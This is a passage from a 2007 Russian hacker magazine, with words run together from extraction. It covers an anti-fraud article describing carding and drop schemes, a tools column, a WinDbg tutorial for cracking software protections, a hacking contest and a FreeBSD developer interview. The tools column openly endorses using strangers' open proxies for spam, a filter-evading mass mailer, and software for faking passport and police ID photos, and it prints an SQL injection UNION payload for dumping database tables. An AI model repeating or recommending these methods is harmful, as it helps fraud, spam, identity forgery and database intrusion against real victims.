т. п.); выбираетсясокс, находящийся там же, где проживаеткардхолдер, после чего карта вбивается вформу оплаты в твоем магазине. Если ты будешь/ 090xàêåð 02 / 98 / 07


взломУязвимость в печально известном PerlShop'еиспользовать что‐либо наподобие checkoutдля проверки валидности вбитых картонок, тосможешь быть уверенным в том, что такая картаи такой кардхолдер действительно существуют.Но гарантий, что данные о кредитке вбилименно ее владелец, нет.Именно после таких махинаций большинствозарубежных интернет-шопов попросту не шлютсвои товары в страны СНГ. Но и это их не спасает.Дело в том, что предприимчивые русскиевербуют дропов — людей, готовых принять товарна свой адрес в США или в странах Западной Европы.Вербовка происходит по‐разному: кто‐тосоглашается сам и работает под определенныйпроцент от стоимости товара, а кого‐то обманывают,например, под видом благотворительныхакций. В таком случае схема повторяется:вбивается карточка, указывается адрес дропа всоответствующей стране и заказ успешно оформляется.Можно ли этому как‐то противостоять?Можно, сейчас я расскажу тебе как.Первый способ — прозвон. Его суть заключаетсяв том, что клиент должен позвонить всаппорт магазина и подтвердить свой заказ,назвав данные, указанные им на сайте шопа.Многие зарубежные магазины и финансовыеорганизации успешно практикуют этот вид защитыот мошенников, однако и здесь есть слабыестороны. Проблема заключается в том, чтозачастую прозвон может совершить и сам дропили человек, сотрудничающий с нежелательными«клиентами» и прекрасно владеющийнужным иностранным языком. Буржуи не зряиногда требуют указания mmn (mother midlename — имя матери), dob (date of birth — датарождения) или ssn (индивидуальный номерстраховки), но и это не всегда их спасает.Поэтому была создана еще одна преграда напути мошенников — сканы документов. Если тыинтересуешься оружием, то мог заметить, чтовсе российские оружейные интернет-магазиныпри оформлении покупки требуют обязательнойвысылки ксерокопий паспорта и лицензиина приобретение того или иного вида оружия.По такой же схеме не так давно стали работатьxàêåð 02 / 98 / 07Продажа базы по данным украденных паспортови крупные интернет-магазины. Причем зачастуюони просят отослать им сканированнуюкредитную карточку, данные которой быливбиты на сайте. Про паспорта и водительскиеудостоверения я вообще молчу. Иногда нужныдаже сканы денег.Надо отметить, что этот способ является достаточноэффективным, но и он не дает стопроцентнойгарантии безопасности. Злоумышленникимогут использовать чужие паспортные данныеили поддельные сканы документов / кредитныхкарт. Поэтому необходима жесткая проверкавсех присылаемых копий документов. Кстати,абсолютно легально можно приобрести базуданных краденых / утерянных паспортов РФ ипо ней проверять документы, присланные клиентами,но этот вариант не панацея от всех бед.Любому серьезному финансовому проектунужна мощная антифрод‐система. Недавноко мне обратились люди из достаточносерьезной компании с просьбой написанияподобного рода системы. Они были готовызаплатить весьма приличную сумму за еереализацию. Но, как ты понимаешь, созданиеидеального антифрод-барьера — скореемечта, нежели реальность. Однако это отнюдьне говорит о бесполезности существующихсистем. Напротив, по статистике, среднийантифрод позволяет предотвратить до 40%попыток мошенничества, что не так уж и мало.Как бы там ни было, все имеющиеся способызащиты необходимо комбинировать междусобой — только в этом случае ты получишьнаиболее сильную систему верификации клиентов.И запомни простое правило: никогданельзя недооценивать противника. Следуяэтим нехитрым инструкциям, возможно, тысумеешь сохранить свой сетевой бизнес вцелости и сохранности.Post ScriptumВ последнее время многие фродеры полностьюотказались от «работы» с российскими интернет-магазинами.Причиной тому послужилаповышенная активность правоохранительныхорганов в ру-зоне. Однако все же никогда непренебрегай защитой своего ресурса. Помнипословицу: скупой платит дважды — не пытайсясэкономить на антифроде или специалистахпо информационной безопасности, это выйдеттебе еще дороже. Конечно, в одной статье трудноописать все возможные угрозы и методы защитыот них. Я только хочу, чтобы ты понял одно: угрозыбыли, есть и будут. z/ 091


взломЛеонид «R0id» Стройков/ r0id@bk.ru /x-toolsПрограммы для хакеровПрограмма: Socks ScannerОС: Windows 2000/XPАвтор: n1c0T1ineпомни, что лучше юзать цепочки соксов — так безопаснее.Из основных достоинств тулзы отмечу:• указание диапазона маски ххх.ххх.ххх.* (тоесть сканирование 255 IP-адресов за один раз);• многопоточность (количество потоков можнозадать самому);• чекер отсканенных соксов;• удобный графический интерфейс.Кстати, диапазон IP-адресов ты запростоможешь указывать нужной тебе страны и дажепровайдера. В принципе, не составит труданаписать и простенький чекер географическогоположения соксов, если ты будешь заниматьсямассовым сканом :). Одним словом, тулза— must have! Благодарим человека, скрывающегосяпод ником n1c0T1ine, и пользуемся =).Автоматическое извлечение таблиц/колонокиз БДОтличный socks-сканерСуть этой замечательной тулзы состоит всканировании диапазона IP-адресов дляопределения открытых портов, на которыхмогут крутиться сокс-демоны. Как ты понимаешь,многие админы не запрещаютсоединение с их соксом извне, что позволяетудобно использовать чужой сервер в качествебесплатного сокса :). Такая схема полезна длясоставления большого сокс-листа, например,для спама или даже для сокс-сервиса. Однако/ 092xàêåðПрограмма: HTTP IntruderОС: Windows 2000/XPАвтор: 0xFFЗачастую, занимаясь раскруткой очереднойSQL-инъекции на MSSQL-сервере, надоедаетвбивать однотипные запросы, направленныена извлечение таблиц/колонок из базы данных.Поэтому я задался целью найти софт, обладающийподобными возможностями. Искать черезнекоторое время мне надоело, и я уже собиралсянаваять собственный скрипт, когда один измоих знакомых посоветовал попробовать тулзупод названием HTTP Intruder. Слив и установивутилу, я, к своему удивлению, обнаружил, чтоона обладает весьма полезными в повседневнойработе функциями:• работа с HTTP Headers; составление запросавручную, получение ответа от сервера и т.д.;• конструктор HTTP-запросов;• встроенный браузер;• Base64 Encode/Decode, Url\UUE Encode\Decode;• прокси-чекер (удобная работа с листом, разделениена мертвые и живые проксики);• хэширование алгоритмами MD5, SHA-1, SHA-256, SHA-512, HMACSHA-1, MACTripleDES; шифрованиеалгоритмами DES, TripleDES, RC2, RSA;• возможность автоматического извлечениятаблиц/колонок из базы данных при проведенииSQL-Injection.В частности, последняя функция тулзы былареализована с помощью нехитрого запроса:02 /98/ 07


взломUNION ALL SELECT 1,2,3,TABLE_NAME,4FROM INFORMATION_SCHEMA.TABLES;UNIONALL SELECT 1,2,3,COLUMN_NAME,4 FROMINFORMATION_SCHEMA.COLUMNSЭтот момент позволял более не ковырять ручкамибажный ресурс, а использовать удобнуюформочку в HTTP Intruder на вкладке SQL (котораяотнюдь не отменяла обязательного наличияпрямых рук =)). В целом, скажу, что утила вполнеможет пригодиться тебе еще не раз. Поэтому настоятельнорекомендую иметь ее под рукой =).Мощный спам-контроллерПрограмма: DirectMailer v.1.6ОС: Windows/*nixАвтор: YellSOFTПредставление различного спам-софта в каждомвыпуске «X-Tools» уже стало традицией,которую я и на этот раз нарушать не стану =).Скажу лишь, что сегодняшняя тулза — широкоизвестный в спамерских кругах DirectMailer.Написан он полностью на Perl и включаетв себя удобный контроллер с всевозможныминастройками/конфигами. Тулза прекрасноработает с соксами, что позволяет существенноувеличить процент писем, идущих в инбокс :).Также имеется лог-отчет, с помощью которогоудобно следить за ходом рассылки. Кроме того,в конфигах можно прописать необходимыетемы писем, то есть все письма будут рассылатьсяне под одной темой, а под теми, которыеты укажешь. Аналогичная схема реализованаи для поля From, то есть для поля отправителяписьма. Этот факт, несомненно, усложняетработу спам-фильтрам на почтовых серверах,заставляя их ошибаться снова и снова =). Короткоприведу основные возможности DirectMailer:• возможность работы через SOCKS-прокси(обеспечивает полную анонимность отправителя);• автоматическая подстановка заголовковReceived при анонимной отправке с учетом PTRиспользуемого прокси;• грамотная работа со всеми известными форматамизаписи e-mail-адресов, парсер адреса иимени отправителя/получателя; автоматическоеизвлечение из адреса имени (содержимогодо «@») в случае его отсутствия;• многопроцессная отправка (высокая производительностьпрограммы);• многополосная система обхода спамфильтров(детальная рандомизация путемподдержки специальных тегов, подстановкаслучайных строк из заданных файлов в неограниченномколичестве, замена на лету кириллицына латиницу (транслитерация));• поддержка всех включенных тегов в темеписьма;• подстановка тем письма выполняется изфайла;• поля From, Reply-To подставляются из файла;• полное задание стиля оформления письма совсеми особенностями почтовых клиентовThe Bat, Outlook Express;• возможность задать случайный выбор уровняважности и стиля оформления письма;• уникальная генерация письма для каждогоотдельного получателя (персональная копия);• возможность отправки индивидуальногописьма для каждого получателя в условияхмассовой рассылки;• формат писем Text и HTML;• возможность отправки писем с аттачментами;• подробный файл отчета о проделаннойработе;• интуитивно понятный интерфейс.Кроме того, программа умеет чекать базы мылна валидность и определять степень валидностибазы после рассылки. Собственно, все характеристикитулзы описать попросту невозможно,поэтому настоятельно рекомендую попробоватьзаюзать DirectMailer в боевых условиях. Единственныйсущественный недостаток утилы — онаможет работать не на всех хостингах. Поэтомулучше всего залить DirectMailer на свой дедик,регулярно обновлять список соксов и непариться =).Программа: PhotoLabОС: Windows 2000/XPАвтор: И. ПономаренкоВ моей статье, посвященной антифроду, ты могпрочитать, помимо всего прочего, еще и о подделкесканов документов (паспортов, кредитныхкарт и т.д.). Только тогда я писал с точки зрениязащиты, а сейчас мы перейдем в наступление =).Дело в том, что грамотно сделанные сканыДелаем фотку на докидоков всегда пользовались спросом. В Сетиты при желании даже можешь найти сервисы,выполняющие такую работу. Зачем и кому нужнысканы паспортов, водительских прав и прочихдокументов, я сейчас объяснять не буду.Однако я хочу представить софтину, которая ещене раз выручит тебя при изготовлении сканов— PhotoLab. Тулза рассчитана, прежде всего,на редактирование фотографий, но ты запростоможешь юзать ее в более «боевых» условиях.Например, при изготовлении фотки на левыйскан паспорта :).В общем, прога предназначена для автоматизациипроцесса подготовки фотографий наразличные доки. Причем фотку можно замутитьстрого заданного формата на любой документ(например, водительское удостоверение,паспорт, заграничный паспорт, всевозможныеудостоверения и т.д.). Кроме того, тулза имеетболее 20 стандартных форматов: паспорт,заграничный паспорт, пенсионное удостоверение,пропуск, вид на жительство, личноедело, сотрудник МВД и другие =). Скореевсего, пенсионное удостоверение тебя врядли заинтересует, но вот паспорт или милицейскаяксива — вполне :). Утила обладает рядомвозможностей:• подготовка фотографий различных форматов;• коррекция фотографий;• преобразование цветной фотографии вчерно-белую;• наложение «уголков» разных типов (прямой,круглый, круглый с ретушью);• изменение резкости, яркости, контрастности,гаммы;• изменение цветогого баланса (отдельнов тенях, полутонах и бликах);• интеграция с графическими редакторами(например, с Adobe Photoshop).Напоследок скажу, что сам успешно используюсофтинку уже не первый месяц и полностьюдоволен. Тулза, действительно, сочетает в себевсе необходимое для редактирование фоток подразличные нужды =). zxàêåð 02 /98/ 07/093


взломКрис КасперскиЖизньпосле Soft-IceОтладчик WinDbg как API- и RPC-шпионРанние версии WinDbg'а от Microsoft не пользовались у хакеров большой популярностьюи все дружно налегали на Soft-Ice, но теперь, когда поддержка последнего прекращенаи он обречен на медленное, но неотвратимое умирание, возникает вопрос:как дальше жить и чем ломать? Тем временем WinDbg сильно повзрослел, и хотя они отстой, но по целому ряду характеристик он обгоняет Soft-Ice. Сейчас я покажу, какиспользовать WinDbg в качестве API- и RPC-шпиона.АPI- и RPC-шпионы входят в активныйинструментарий хакера.Эти орудия борьбы должны бытьвсегда остро заточены и готовык десантированию в тыл врага для сбора информациио вызываемых функциях. Зная, какиефункции (и с какими аргументами) вызывает защита,мы можем ставить точки останова, всплываяотладчиком в непосредственной близости отштаб-квартиры врага. Если же этой информацииу нас нет, точки останова приходится ставитьвслепую, гадая, какой именно API-функциейвоспользовалась программа. В частности, однихтолько функций для чтения текущей даты (необходимойзащите для определения периода истечениятриала) существует с полдесятка, и без/ 094xàêåðшпиона нет никакой возможности угадать, какойименно из них воспользовался разработчик.То же самое относится и к RPC-вызовам(Remote Procedure Calls), своеобразномуфундаменту множества служб, к числу которыхпринадлежит Служба печати, да и, естественно,не только она одна.В общем, без шпионов ломать становится совсемхреново. Но Soft-Ice не предоставляет таких возможностей,и приходится использовать сторонниесредства, большинство из которых способнышпионить только за честными программами.К тому же неудобно каждый раз выходить изотладчика, чтобы запустить очередную утилу.Намного комфортнее держать весь хакерский арсеналв одном месте. И этим местом постепенностановится Microsoft Windows Debugger, поддерживающиймножество полезных расширенийна все случаи жизни и, естественно, позволяющийписать нужные нам расширения самостоятельно.Преодолевая стойкое предубеждение передпродукцией Microsoft, все же скачаем этого зверяи посмотрим, на что он способен.Первое знакомство с WinDbgОтладчик WinDbg представлен в двух «ипостасях».i386kd.exe (для 64‐битной версии — ia64kd.exe)— консольный kernel-debugger, отлаживающийтолько драйверы вместе с дампами памяти ядраи требующий как минимум двух машин, связанныхcom-шнурком или взаимодействующих02 /98/ 07


взломЗагрузка расширения rpcexts, ответственного за RPC-шпионаж(и не только шпионаж!), и выдача справки по немуОпределение подлинной точки входа с помощью Hiew'аКороче, будем считать, что я тебя соблазнил.Приступаем к экспериментам. Первым деломзагружаем в отладчик файл, за которым мы будемшпионить, например все тот же блокнот. Делаетсяэто так: «File Open executable notepad.exe».Или так: нажимаем , вбиваем «notepad.exe».В крайнем случае, файл можно загрузить изкомандной строки. Только не нажимай раскрывающуюсяпапку на панели инструментов — это всеравно не поможет, так как она предназначена дляработы с исходными текстами и их окружением,которых в нашем распоряжении, естественно, нет.Неверное определение точки входапри загрузке исполняемого файлав WinDbgCommandLine: C:\WINNT\NOTEPAD.EXESymbol search path is: *** Invalid***Executable search path is:ModLoad: 01000000 01010000notepad.exeModLoad: 77f80000 77ffd000 ntdll.dllModLoad: 76ae0000 76b1e000 C:\WINNT\system32\comdlg32.dllModLoad: 772c0000 77326000 C:\WINNT\system32\SHLWAPI.DLLModLoad: 79060000 790c5000 C:\WINNT\system32\ADVAPI32.dllModLoad: 71710000 71794000 C:\WINNT\system32\COMCTL32.DLLModLoad: 7ce80000 7d0c6000 C:\WINNT\system32\SHELL32.DLLModLoad: 777d0000 777ee000 C:\WINNT\system32\WINSPOOL.DRVModLoad: 79500000 79511000 C:\WINNT\system32\MPR.DLL(510.508): Break instructionexception — code 80000003 (firstchance)eax=00000000 ebx=00071f04ecx=00000009 edx=00000000esi=7ffdf000 edi=00071f70eip=77f9193c esp=0006f984/ 096xàêåðebp=0006fc98 iopl=0 nv up eipl nz na pe nccs=001b ss=0023 ds=0023es=0023 fs=003b gs=0000efl=00000202*** ERROR: Symbol file could not befound. Defaulted to export symbolsfor ntdll.dll —ntdll!DbgBreakPoint:77f9193c int 3Отладчик послушно загружает файл, отображаявсе динамические библиотеки, перечисленныев таблице импорта, показываетсодержимое регистров и устанавливает точкуостанова в EntryPoint. На самом деле, это мыдумаем, что отладчик устанавливает точкуостанова в EntryPoint, а в действительностивсе обстоит не так! Судя по адресу 77F9193Ch,лежащему глубоко внутри NTDLL.DLL, это несовсем EntryPoint, точнее, совсем не EntryPoint,а native-API-функция DbgBreakPoint, которуюможно трассировать до конца света, но так ник чему и не прийти. Приходится выкручиватьсяи применять всякие недетские извращения(впрочем, для хакеров они вполне типичны).Загружаем notepad.exe в наш любимый hiew.exe(или любой другой hex-редактор), жмем на для перехода в hex-режим, давим для отображения заголовка и переходимпо в истинную точку входа , адрес которой(в моем случае равный 1006420h) высвечиваетсяв левом верхнем углу экрана.Возвращаемся в WinDbg и, находясь в окнекоманд (такая строчка с деловито мерцающимкурсором), пишем «BP 1006420», устанавливаяточку останова, после чего жмем (или даемкоманду g — в смысле «goto», продолжение выполнения)и ждем развития событий. А событияждать себя не заставляют:Ручная установка бряка на истиннуюточку входа0:000> BP 10064200:000> gModLoad: 75e00000 75e1a000 C:\WINNT\system32\IMM32.DLLModLoad: 10000000 10005000 C:\WINNT\system32\wmfhotfix.dllBreakpoint 0 hiteax=00000000 ebx=7ffdf000ecx=00010101 edx=ffffffffesi=0009a0f0 edi=017af640eip=01006420 esp=0006ffc4ebp=0006fff0 iopl=0 nv up eipl zr na po nccs=001b ss=0023 ds=0023es=0023 fs=0038 gs=0000efl=00000246notepad+0x6420:01006420 push ebpОтладчик подгружает еще две динамическиебиблиотеки (одна из которых — wmfhotfix.dll,заплатка от Ильфака), радостно сообщает, что«Breakpoint 0 hit» (сработала точка останова),выводит значения регистров (ну куда же без них)и первую машинную команду, стоящую в точкевхода, — push ebp.Команда u позволит дизассемблироватьостальные команды, следующие за ней, помогаяубедиться, что мы действительно находимсятам, где нужно:Дизассемблирование окрестностейточки входа0:000> unotepad+0x6420:01006420 push ebp01006421 mov ebp,esp01006423 push 0xff01006425 push 0x10018880100642a push 0x10065d00100642f mov eax,fs:[0]01006435 push eax01006436 mov fs:[0],espТеперь, когда все подготовительные мероприятиязавершены, необходимо подключитьмодуль расширения. Для этого даем команду02 /98/ 07


взломКрах ApiMon'а при попытке скормить ему FAR, упакованныйASPack'омОтчет ApiMon'а о количестве вызовов API-функций, совершенныхподопытной программой!load , где name — имя модуля расширениябез .dll (в данном случае — logexts).Полностью вся команда выглядит так:0:000> !load logextsОтладчик проглатывает ее как ни в чем не бывало,и создается впечатление, что ничего не происходит.Но это не так! Чтобы убедиться, что модульрасширения успешно загружен, вызовем еголокальную справку, набрав команду !logexts.help.Мы видим, сколько тут всего, хорошего и разного!С одного захода это даже не разгрызть, но мы всетакипопробуем. Команда !loge [dir] активируетшпионаж за API-функциями, при желании позволяяуказать каталог, в котором будет автоматическисоздана поддиректория LogExts для хранениялогов. Логи могут писаться как в текстовом, тами в двоичном формате (формат вывода задаетсякомандой !logo), причем имя лога соответствуетимени исполняемого файла, за которым оншпионил (например, noTEPAD.EXE.txt — да-да, вотименно в таком регистре он и записывается).Вызванная без параметров команда !logo выводиттекущий формат лога. Чтобы включить текстовыйформат, необходимо набрать «!logo e t»,а чтобы включить все 3 параметра, необходимотрижды вызвать !logo с разными ключами.К сожалению, конструкцию «!logo e dtv» отладчикне переваривает. Редиска!Для сокращения размеров лога и выкидываниязаведомо ненужной информацииWinDbg поддерживает категории API-вызовов,список которых можно вывести на экранкомандой !logc:Просмотр категорий API-функций0:000> !logcCategories:1 AdvApi32 Enabled2 AtomFunctions Enabled3 AVIFileExports Enabled4 Clipboard Enabled5 ComponentObjectModel Enabled6 DebuggingAndErrorHandlingEnabled7 DeviceFunctions Enabled8 Direct3D Enabled9 DirectDraw Enabled...25 User32StringExports Enabled26 Version Enabled27 WinSock2 EnabledКак видно, всего имеется 27 категорий, и дляпросмотра функций, входящих в каждую изкатегорий, можно воспользоваться командой!logic p #, где # — номер категории, например 16— MemoryManagementFunctions.Просмотр имен API-функций, входящихв категорию MemoryManagementFunctions0:000> !logc p 16MemoryManagementFunctions:AllocateUserPhysicalPagesKERNEL32.DLLFreeUserPhysicalPagesKERNEL32.DLLGetProcessHeapKERNEL32.DLLGetProcessHeapsKERNEL32.DLL…OpenFileMappingAKERNEL32.DLLOpenFileMappingWKERNEL32.DLLUnmapViewOfFileKERNEL32.DLLДля шпионажа за определенными категориямифункций даем команду !logc e # # #, где e —включить (enable) шпионаж, а # — переченькатегорий. Ключ ‘d’ (disable), соответственно,означает исключить данную категорию (категории)API-функций из круга подозреваемый и нешпионить за ними. Команда !logc e * включаетвсе категории (и это основной режим шпиона,в котором гоняют его хакеры при первом знакомствес ломаемой программой).При желании можно указать перечень динамическихбиблиотек, за которыми следует/не следуетследить. Зачастую это намного проще, чемвозиться с категориями. Отображением спискатекущих поднадзорных библиотек занимаетсякоманда !logm:Просмотр списка динамических библиотек,за которыми осуществляетсяшпионаж0:000> !logmIncluded modules:USER32.DLLGDI32.DLLADVAPI32.DLLMicrosoft Windows Debugger (далее по тексту просто WinDeb) входит в состав множества продуктов: Platform SDK, DDK, WDF, а такжепоставляется вместе с самостоятельным пакетом «Debugging Tools for Windows», занимающим чуть больше 15 Мб. Причем версияWinDeb из комплекта «Debugging Tools for Windows» обычно самая свежая и содержит наибольшее количество всяких полезных расширений.Скачать ее можно с www.microsoft.com/whdc/devtools/debugging (32-битная и 64-битная версии). Microsoft устроила бесплатнуюраздачу, не требуя даже проверки подлинности копии Windows. По крайней мере, пока. В любом случае, этот пакет валяетсяна многих сайтах, но далеко не всегда первой свежести.xàêåð 02 /98/ 07/097


взломПросматривая этот список, мы с удивлениемобнаруживаем в нем отсутствие KERNEL32.DLL— базовой ядерной библиотеки, содержащеймаксимум интересующих нас функций.Попытка включить ее в список командой!logm i KERNEL32.DLL приводит к появлениюмногоэтажного матерного ругательства: мол,KERNEL32.DLL обязательно должна быть исключенаи включению не подлежит:Категорический отказ отладчикашпионить за KERNEL32.DLL0:000> !logm i KERNEL32.DLLKERNEL32.DLL is mandatory forexclusion so it can't be included.Included modules:На самом деле, стоит только нажать , какв логе (параллельно выводимом на экрани в файл) появятся перехваченные имена APIфункций,принадлежащих KERNEL32.DLL:Фрагмент шпионского протокола,содержащего всю нужную нам инфуThrd 4c4 010029BD GetProcAddress(NULL "RegisterPenApp") -> NULL[FAIL]Thrd 4c4 77E202F2LoadLibraryExW("INDICDLL.dll" NULL ALTERED_SRCH_PATH) ->0x6E380000Thrd 4c4 77106CF2 GetProcAddress(0x77F80000 "NtQuerySystemInformation") -> 0x77F889DCThrd 4c4 77106D0D GetProcAddress(0x77F80000 "NtOpenFile") ->0x77F886ACThrd 4c4 77106D1A GetProcAddress(0x77F80000 "RtlInitUnicodeString")-> 0x77FABE9CThrd 4c4 77E202F2LoadLibraryExW("PDSHELL.DLL" NULLALTERED_SRCH_PATH) -> 0x00F30000Thrd 4c4 77E202F2LoadLibraryExW("SSSensor.dll" NULL ALTERED_SRCH_PATH) ->0x013B0000Thrd 4c4 76AE1DAB GetProcAddress(0x79430000 "GetUserDefaultUILanguage") -> 0x7947106BThrd 4c4 7CEAAF39 GetProcAddress(0x77E10000 "GetSystemMetrics") ->0x77E33277Thrd 4c4 7CEAAF4A GetProcAddress(0x77E10000 "MonitorFromWindow") ->0x77E2920BThrd 4c4 7CEAAF5B GetProcAddress(/ 098xàêåði386kd — консольная версия ядерного отладчика от Microsoft0x77E10000 "MonitorFromRect") ->0x77E20D54Thrd 4c4 7CEAAF6C GetProcAddress(0x77E10000 "MonitorFromPoint") ->0x77E2A0F2Thrd 4c4 7CEAAF7D GetProcAddress(0x77E10000 "EnumDisplayMonitors")-> 0x77E1F61DThrd 4c4 7CEAAF8E GetProcAddress(0x77E10000 "EnumDisplayDevicesW")-> 0x77E18A08Thrd 4c4 7CEAAFAE GetProcAddress(0x77E10000 "GetMonitorInfoW") ->0x77E2A07EВ наше распоряжение попадают номерапотоков (thrd), адреса вызова API-функцийвместе с передаваемыми ими аргументами.По приведенному выше фрагментулога видно, что, вызвав функциюGetProcAddress(NULL «RegisterPenApp») поадресу 010029BDh, блокнот погрузился в пучинусистемных библиотек, лежащих далекоза пределами принадлежащей ему областиадресов. Но это не главное. Главное то, чтошпион от Microsoft работает и успешношпионит, практически ни в чем не уступаябольшинству своих конкурентов, а кое в чемих даже и обгоняя!Техника RPC-шпионажаRPC-шпионаж осуществляется во всем аналогичноAPI-шпионажу (ну, практически аналогично),только вместо logexts используется расширениеrpcexts, загружаемое командой !load rpcextsи выдающее справку по своим ключам командой!rpcexts.help.Ключи же настолько обширны, что требуют длясвоего описания целой статьи. Но в большинствеслучаев встроенного хелпа вполне достаточно!ЗаключениеМы рассмотрели всего лишь 2 расширенияотладчика WinDbg из очень многих! Ну, такчего же мы сидим? Чего ждем?! Загружаемвсе расширения одно за другим, даем команду!name.help, смотрим, курим, читаем, втыкаем,после чего экспериментируем, постигая всеновые границы и мысленно сравнивая возможностиWinDbg и Soft-Ice. Но, несмотря нина что, Soft-Ice все-таки жалко. Хороший былотладчик... z02 /98/ 07


взломZaCox-конкурсПобедитель нового конкурсавырвет из наших рук крутоймонитор ViewSonic VX922 современем отклика 2 см. Спеши20 февраля на forum.xakep.ruВот и наступил новый2007 год. И, надеюсь, предыдущийпрошел для тебятолько с пользой, новымизнаниями и яркимивпечатлениями. ДухРождества еще кружитсяв твоей голове, а студентам-хакерамнужно сдаватьэкзамены, иначе из них получатсясолдаты-хакеры :).Но хакер Вася завалил 3 экзаменаподряд, и ему необходимапомощь. Никто, крометебя, не может емупомочь, а ведь за егосвободу тебе предлагаютнеплохую прибавку к стипендии.Взломай базу коррупционераИванова, иначеВасе придется драить толчкикаждый вечер после отбоя напротяжении следующих двухлет, а тебе — житьна жалкую студенческуюстипендию.Лидерами новогоднего конкурсастали сразу 5 человек:Great, swish, VDShark, grazyи L0GA4.Но понтовый TFT-мониторполучит самый первый, нанесколько минут обогнавшийсоперников хакер под никомGreat. Он первым преодолелвсе препятствия, с чем мыего и поздравляем :). zxàêåð 02 /98/ 07/ 099


сценаИлья Александров/ ilya_al@rambler.ru /Русскийopen sourceРазговор с российскими разработчиками FreeBSDВозможно, FreeBSD установлена на твоем домашнем компе. Или ты держишь ее толькона сервере. Или на удаленном шелле. Этого я не знаю, но в том, что ты хоть раз в жизниработал с этой осью, у меня сомнений нет. Еще бы — ее надежность и безопасность ужедавно признаны компьютерным сообществом. И в этом успехе есть наша, российская,составляющая.И. А. — Илья АлександровInfofarmer (I.) — Андрей ПантюхинKrion (K.) — Кирилл ПономаревRik (R.) — Роман КуракинTobez (T.) — Антон БерезинИ. А.: Как ты стал разработчиком FreeBSD?Каков был твой первый вклад в развитиесистемы?или находящихся под моей ответственностьюкомпьютерах. В освоении мира Unix неоценимуюпомощь мне оказала коллекция портов. Пришловремя, и Сергей Матвейчук помог мне с моимпервым портом. А когда их количество подросло,Кирилл Пономарев неожиданно предложил мнестать частью сообщества разработчиков.K.: Разработчиком FreeBSD я стал довольнослучайно: мне понравилась коллекция портов;(problem reports) в GNATS (система баг-репортов),находя и улучшая качество существующихпортов и попутно создавая новые.R.: Членом команды разработчиков FreeBSDя стал довольно нетрадиционным путем.На тот момент я представлял российскогопроизводителя телекоммуникационногооборудования и как разработчик драйверовдля этого оборудования (в том числе и подАндрей ПантюхинРодился в 1985 году,окончил математическуюшколу. Немногопоучился в разныхуниверситетах, но,не обнаружив интересак диплому, бросилвуз. Работаетв ИТ‐сфере. Увлекаетсяхорошей музыкойи кино.Кирилл ПономаревРодился в Москвев 1977 году. Послеокончания университетауехал на работув Германию, где живети сейчас. В настоящеевремя работаетсистемным интеграторомв Hitachi DataSystems. Хобби одно— FreeBSD.I.: Как и многие другие разработчики, я началсвой путь в проекте с активного использованияFreeBSD, сначала в качестве чудо‐сервера домашнейсети, а со временем на всех собственных/ 100затем я захотел понять, как они работают, каксоздаются, кто их поддерживает и т.д. Процессизучения всего вышесказанного начался в2002 году. В 2003 году я начал отсылать PRFreeBSD) вел переговоры как по обновлениюдрайвера, который уже был в системе, таки по добавлению новых драйверов. Одномуучастнику переговоров со стороныxàêåð 02 / 98 / 07


сценапроекта я написал, что неплохо было бы иметьвозможность самому обновлять драйверыв системе, и мне был предложен src-commitbit (право модифицировать основное деревосистемы). Собственно, эти драйверы и можноназвать первым основным моим вкладомв развитие ОС.T.: В лаборатории, где я работал, в 1997 году понадобилсяфайл‐сервер. Windows нам ставитьне хотелось; производительность OS/2, которуюмы в основном использовали в то время, оставлялажелать лучшего. Один из моих коллег имелопыт работы с FreeBSD. Ее мы и поставили.При работе с системой, ее изучении, неизбежновсплывали недочеты. Я стал посылать ProblemReports, и через некоторое время был «наказан»commit bit'ом.И. А.: Чем занимаешься в проекте? Какова твояспециализация?I.: Всегда рад добавить что‐нибудь новое в коллекциюпортов. Занятие достаточно рутинное,но есть и приятная сторона — постоянные знакомствас новыми людьми. Большинство разработчиковоткрытого софта знают и уважаютнаш проект, благодарят, оказывают поддержкуи даже испытывают гордость, когда мы портируемих произведения. Мой особенный интерес— в инфраструктуре, где небольшие изменениямогут сэкономить массу времени, проводимогоразработчиками в рутине.K.: На данный момент я являюсь членомгруппы portmgr. Она координирует глобальныеизменения в дереве портов, одобряет путемрелизами FreeBSD и созданием пакетов(packages) для будущих релизов и т.д. По прошествиинекоторого времени я начал работатьв pkgtools, утилиты для создания пакетов,и получил commit bit в CVS src/дерево.R.: До того как я сменил место работы, основноемое занятие было связано с теми драйверами,по причине которых я стал участником проекта,плюс с протокольными драйверами, необходимымидля работы этого оборудования. Я все ещесохраняю интерес к этой области, хотя моя текущаяработа с проектом никак не связана. Сейчаск этим интересам добавилась поддержка работыинфракрасных портов через USB, которую я перенесдля FreeBSD с NetBSD. Она, к сожалению,пока не доступна в составе системы.T.: В основном я занимаюсь портами, главнымобразом связанными с Perl, включая сам Perl.И. А.: Как происходит общение междуразработчиками?R.: С большинством разработчиков я общаюсьв основном через списки рассылки. С московскойчастью нашей команды, к счастью, общениепроисходит в более неформальной обстановке.Если я скажу, что за кружкой пива, то совру.Некоторые из нас предпочитают вино, а некоторыезамечательно общаются и за стаканом сока, кто‐то— из‐за необходимости садиться за руль, а кто‐то— из‐за стремления вести здоровый образ жизни.Мне б их силу воли ;-).T.: В основном — рассылки и IRC. Пытаемсявстречаться, когда получается. Разработчики,собирающиеся в тот или иной город или страну,И. А.: Твоя работа вообще никак не оплачивается,или иногда бывают какие‐нибудь материальныедивиденды? Как удается совмещатьпостоянную работу и участие в разработке Free?I.: Мне лично повезло с друзьями на работе.Они часто себе в тягость закрывают глаза на моеувлечение FreeBSD и позволяют мне совмещатьприятное с полезным. Более того, порой друзьяпомогают подработать. Именно так я попал в однообразовательное учреждение, где получил замечательнуювозможность время от времени вестикурсы по FreeBSD и другому открытому софту.T.: Напрямую работа не оплачивается. Однакоочень часто основная работа бывает связанас FreeBSD, поэтому многие вещи делаются, таксказать, по долгу службы. Основное преимуществов такой ситуации — это не деньги, а возможностьтратить рабочее время на FreeBSD. Насчетсовмещения — у каждого ведь есть свое хобби,так? У большинства разработчиков это FreeBSD.И. А.: Во FreeBSD есть человек, которого тыможешь назвать своим руководителем?I.: Постоянной иерархии нет, я руководствуюсьсобственным видением текущих проблем.Но иногда возникают мини-проекты, где естьлидер, диктующий правила игры. Надо сказать,FreeBSD отличается от других свободных ОС,типа Linux или OpenBSD, своей исключительнойдемократичностью. Говорят, это замедляетпрогресс и ухудшает координацию в проекте,но я считаю, в свободе разработчиков — нашабольшая сила. Возможность аргументированнопоспорить и серьезно повлиять на развитиеРоман КуракинГод рождения — 1979.В данный моментявляется сотрудникомРНЦ КИ и занимаетсяисследованиямив области грид‐систем.Ведет курсинформатики в 